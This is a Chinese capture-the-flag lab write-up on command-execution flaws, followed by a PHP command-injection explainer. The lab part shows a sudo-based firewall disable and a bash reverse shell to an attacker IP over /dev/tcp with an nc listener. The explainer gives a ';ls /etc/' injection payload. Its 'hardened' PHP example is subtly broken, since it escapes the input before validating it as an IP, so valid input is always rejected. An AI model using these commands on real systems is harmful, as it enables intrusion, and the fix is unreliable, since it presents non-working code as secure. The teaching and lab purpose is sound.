CTF-命令执行

命令执行漏洞

当应用需要调用一些外部应用程序去处理内容的情况下,就会用到一些执行系统命令的函数。如PHP中的system、exec、shell_exec等,当用户可以控制命令执行函数中的参数时,将可以注入恶意命令到正常命令中,造成命令执行攻击。
调用这些函数执行系统命令的时候,如果将用户的输入作为系统命令的参数拼接到命令行中,有没有多虑用户输入的情况下,就会造成命令执行漏洞。

实验环境

攻击机:192.168.0.25
靶机:192.168.0.26

实验流程

  • 端口扫描
    8080端口开放,HTTP服务
    在这里插入图片描述
    尝试访问8080端口的HTTP服务
    网站使用Tomcat服务器搭建,并且拿到网站主目录
    在这里插入图片描述
  • 网站信息探测
    敏感目录:/test.jsp
    在这里插入图片描述尝试访问该敏感页面
    通过页面描述可知这是用于检查/tmp是否有可疑内容的调试页面
    在这里插入图片描述尝试执行系统命令,能够列出/tmp目录下面的文件
    在这里插入图片描述查看/home目录下面的内容,以此判断系统中的用户有哪些
    通过显示结果判断系统中有一个普通用户——bill
    在这里插入图片描述还可以通过页面上的命令执行功能获取系统中的信息获取读取敏感文件
    在这里插入图片描述
  • 漏洞利用
    使用ssh执行root权限的命令,使用ssh 用户名@localhost登录服务器不许要身份验证
    查看bill用户使sudo命令的权限
    在这里插入图片描述尝试使用sudo命令执行命令,关闭靶机的防火墙
    注意:关闭防火墙使用的命令和操作系统的类型相关,因为靶机是Ubuntu的操作系统,系统中默认的管理防火墙的工具是ufw。
    注意:ufw是Ubuntu系统中基于iptables的防火墙管理工具。
    有关于ufw详信参考链接:https://blog.youkuaiyun.com/bigdata_mining/article/details/80699180
    在这里插入图片描述在这里插入图片描述
  • 权限提升
    攻击者监听端口,靶机执行命令利用bash反弹shell,直接获取root用户权限
    攻击者:nc -lvvp 4444
    靶机:ssh bill@localhost sudo bash -i >& /dev/tcp/192.168.0.25/4444 0>&1
    在这里插入图片描述获取flag
    在这里插入图片描述
### CTF竞赛中PHP命令执行漏洞 #### 漏洞利用原理 在CTF竞赛中,PHP命令执行漏洞通常涉及通过特定输入点向服务器发送恶意指令。当应用程序未正确过滤用户输入并将其作为参数传递给能够执行系统命令的函数时,就会发生此类漏洞。例如,在以下代码片段中: ```php <?php system("ping -c 1 " . $_GET['ip']); ?> ``` 如果`$_GET['ip']`未经适当验证,则攻击者可以通过精心构造URL来注入额外的命令[^1]。 #### 实际案例分析 考虑这样一个场景:假设存在一个网站允许访客查询某个IP地址的状态。该功能实现方式不当,直接将用户的输入附加到`ping`命令后面执行。此时,攻击者可能提交如下请求: ``` http://example.com/ping.php?ip=8.8.8.8;ls /etc/ ``` 这会导致服务器不仅会尝试Ping指定的目标(8.8.8.8),还会列出/etc目录下的文件列表[^3]。 #### 防护策略建议 为了防止这种类型的攻击,开发者应该采取多种安全措施: - **输入验证**:严格校验所有来自客户端的数据,确保只接受预期格式的内容。 - **转义特殊字符**:对于确实需要使用的动态部分,应采用合适的转义机制处理潜在危险符号。 - **最小权限原则**:运行Web应用的服务账户应当具有尽可能少的操作权限,即使被成功入侵也能减少损害范围。 - **禁用高风险函数**:除非绝对必要,否则应在php.ini配置文件里关闭那些容易引发安全隐患的功能,比如`disable_functions = exec, shell_exec, system...`等设置。 #### 示例防护改进后的代码 以下是经过加固处理过的版本,它增加了对传入数据的安全检查以及使用escapeshellarg()函数自动转义任何可能导致问题的元字符: ```php <?php $target_ip = escapeshellarg($_GET['ip']); // 对输入进行转义 if (filter_var($target_ip, FILTER_VALIDATE_IP)) { // IP有效性检测 echo "<pre>"; system("ping -c 1 $target_ip"); echo "</pre>"; } else { die('Invalid IP address.'); } ?> ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值